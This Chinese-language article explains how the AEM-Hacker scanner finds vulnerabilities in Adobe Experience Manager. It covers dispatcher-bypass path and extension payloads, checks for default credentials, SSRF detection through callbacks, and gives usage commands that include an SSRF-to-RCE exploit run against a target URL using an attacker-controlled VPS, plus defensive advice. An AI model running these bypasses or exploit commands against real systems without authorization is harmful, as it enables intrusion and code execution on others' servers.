AEM-Hacker代码原理剖析:深入理解AEM漏洞检测机制
【免费下载链接】aem-hacker 项目地址: https://gitcode.com/gh_mirrors/ae/aem-hacker
AEM-Hacker是一个专业的AEM漏洞检测工具,专为安全研究人员和渗透测试人员设计,能够自动化发现Adobe Experience Manager系统中的安全漏洞。这款强大的AEM安全扫描工具集通过智能化的检测机制,帮助用户快速识别AEM应用中的30多种常见安全风险,包括敏感信息泄露、SSRF攻击、远程代码执行等关键漏洞。🔍
📊 AEM-Hacker核心架构解析
AEM-Hacker采用模块化设计,主要由三个核心组件构成:
1. 主扫描引擎 - aem_hacker.py
这是AEM漏洞检测的核心模块,实现了完整的漏洞扫描流程:
# 注册检测器的装饰器模式
def register(name):
def decorator(func):
registered[name] = func
return func
return decorator
@register('get_servlet')
def exposed_get_servlet(base_url, my_host, debug=False, proxy=None):
# 检测DefaultGetServlet暴露
每个检测器都是独立的函数,通过装饰器注册到系统中,实现了高度的可扩展性。
2. AEM发现器 - aem_discoverer.py
专门用于从大量URL中识别AEM实例,支持多种识别方法:
- 登录页面检测:检查
/libs/granite/core/content/login.html - CSRF令牌验证:检测
/libs/granite/csrf/token.json - GQLServlet识别:通过查询构建器接口识别
- CRX管理界面检测:查找
/crx/de/index.jsp等路径
3. SSRF到RCE利用链 - aem_ssrf2rce.py
实现SSRF漏洞到远程代码执行的完整利用链,特别针对SitecatalystServlet和AutoprovisioningServlet漏洞。
🔧 AEM漏洞检测机制深度解析
绕过AEM Dispatcher的智能策略
AEM-Hacker采用了多种技术绕过AEM Dispatcher的限制:
路径遍历技巧
# 使用多种路径变体绕过过滤器
GETSERVLET = itertools.product(('/', '/etc', '/var', '/apps', '/home'),
('', '.children'),
('.json', '.1.json', '....4.2.1....json'))
文件扩展名混淆
.json;%0a{0}.css- 使用分号技巧.json/{0}.html- 路径后缀绕过?{0}.css- 查询参数混淆
SSRF漏洞检测的独特方法
AEM-Hacker的SSRF检测机制非常巧妙:
- 自建HTTP服务器:在
aem_hacker.py中内置HTTP服务器监听回连 - 令牌验证机制:使用随机令牌识别真正的SSRF触发
- 多协议支持:检测HTTP/HTTPS不同协议的SSRF
class Detector(BaseHTTPRequestHandler):
def serve(self):
# 验证SSRF回连令牌
if self.token != token:
return
# 记录检测结果
🎯 支持的漏洞检测类型详解
AEM-Hacker支持30多种漏洞检测,主要分为以下几类:
信息泄露漏洞
- DefaultGetServlet暴露:检测敏感JCR节点信息泄露
- QueryBuilderServlet暴露:查询构建器接口信息泄露
- GQLServlet暴露:GraphQL查询接口信息泄露
认证与授权问题
- 默认密码检测:检查admin:admin、author:author等默认凭据
- 登录状态泄露:检测LoginStatusServlet暴露
- 用户信息泄露:UserInfoServlet信息泄露
远程代码执行漏洞
- Groovy Console暴露:Groovy脚本执行导致RCE
- ACS AEM Tools:ACS工具导致的代码执行
- Felix Console暴露:OSGi控制台导致的RCE
服务器端请求伪造
- SalesforceSecretServlet (CVE-2018-5006)
- ReportingServicesServlet (CVE-2018-12809)
- SitecatalystServlet SSRF
- AutoprovisioningServlet SSRF
跨站脚本漏洞
- WCMDebugFilter (CVE-2016-7882)
- WCMSuggestionsServlet XSS
- SWF文件XSS:Flash文件导致的XSS
🚀 AEM-Hacker使用实践指南
快速开始安装
# 克隆仓库
git clone https://gitcode.com/gh_mirrors/ae/aem-hacker
# 安装依赖
pip install -r requirements.txt
# 运行扫描
python3 aem_hacker.py -u https://target-aem-site.com --host your-vps-ip
核心参数解析
-u/--url:目标AEM站点URL--host:SSRF检测用的VPS主机(必须)--workers:并发工作线程数(默认3)--handler:指定运行特定检测器--listhandlers:列出所有可用检测器
高级使用技巧
1. 针对性扫描
# 只扫描Groovy Console和SSRF漏洞
python3 aem_hacker.py -u https://target.com --host vps-ip \
--handler groovy_console --handler salesforcesecret_servlet
2. 批量AEM发现
# 从URL列表中筛选AEM实例
python3 aem_discoverer.py --file urls.txt --workers 150
3. SSRF到RCE利用
# 启动伪造AEM服务器
python3 aem_server.py
# 执行SSRF到RCE攻击
python3 aem_ssrf2rce.py --url https://target.com/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet --fakeaem your-vps-ip
🛡️ AEM安全防护建议
基于AEM-Hacker的检测原理,企业可以采取以下防护措施:
1. 配置强化
- 禁用不必要的Servlet和过滤器
- 配置严格的Dispatcher规则
- 定期更新AEM安全补丁
2. 访问控制
- 限制对管理界面的访问
- 使用强密码策略
- 实施多因素认证
3. 监控与审计
- 监控异常访问模式
- 定期进行安全扫描
- 实施安全日志记录
📈 AEM-Hacker的技术优势
智能路径生成
使用itertools.product生成多种路径变体,提高检测成功率:
paths = itertools.product(('/bin/querybuilder.json', '///bin///querybuilder.json'),
('.json', '.feed', '.1.json', '....4.2.1....json'))
并发处理优化
采用线程池提高扫描效率:
with concurrent.futures.ThreadPoolExecutor(args.workers) as tpe:
futures = []
for check in handlers_to_run:
futures.append(tpe.submit(check, args.url, my_host, args.debug, proxy))
错误处理机制
完善的异常处理和调试信息:
def error(message, **kwargs):
print('[{}] {}'.format(datetime.datetime.now().time(), message), sys.stderr)
for n, a in kwargs.items():
print('\t{}={}'.format(n, a), sys.stderr)
🔍 检测原理深度分析
DefaultGetServlet检测机制
DefaultGetServlet是AEM中用于暴露JCR节点内容的重要接口。AEM-Hacker通过以下方式检测:
- 构造特殊路径:访问
/etc/.json、/var/.json等敏感路径 - 验证JSON响应:检查响应是否包含
jcr:primaryType字段 - 绕过技术:使用
.1.json、....4.2.1....json等变体绕过过滤器
SSRF检测的巧妙设计
SSRF检测是AEM-Hacker的亮点功能:
- 内置HTTP服务器:在指定端口监听回连请求
- 唯一令牌验证:每个扫描会话生成随机令牌
- 多端点检测:同时检测多个SSRF漏洞点
- 自动化验证:自动确认SSRF是否真正可利用
🎓 学习资源与进阶
核心源码文件
- aem_hacker.py - 主扫描引擎,包含所有漏洞检测逻辑
- aem_discoverer.py - AEM实例发现工具
- aem_ssrf2rce.py - SSRF到RCE利用脚本
- aem_server.py - 伪造AEM服务器
- aem-rce-sling-script.sh - 备用RCE脚本
最佳实践建议
- 合法授权:只在获得授权的目标上使用
- 风险意识:了解每个检测可能带来的影响
- 结果验证:手动验证所有自动检测结果
- 持续学习:关注AEM安全公告和CVE更新
💡 总结
AEM-Hacker作为一个专业的AEM漏洞检测工具,通过其精妙的检测机制和智能的绕过技术,为AEM安全评估提供了强大的支持。其模块化设计、并发处理能力和全面的漏洞覆盖,使其成为AEM安全测试中不可或缺的工具。
无论是安全研究人员进行漏洞研究,还是企业进行安全审计,AEM-Hacker都能提供深入的AEM安全洞察。通过理解其工作原理,用户可以更有效地使用这个工具,同时也能更好地保护自己的AEM系统免受类似攻击。
记住:安全工具的使用必须遵守法律法规,始终在授权范围内进行测试。🛡️
【免费下载链接】aem-hacker 项目地址: https://gitcode.com/gh_mirrors/ae/aem-hacker
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



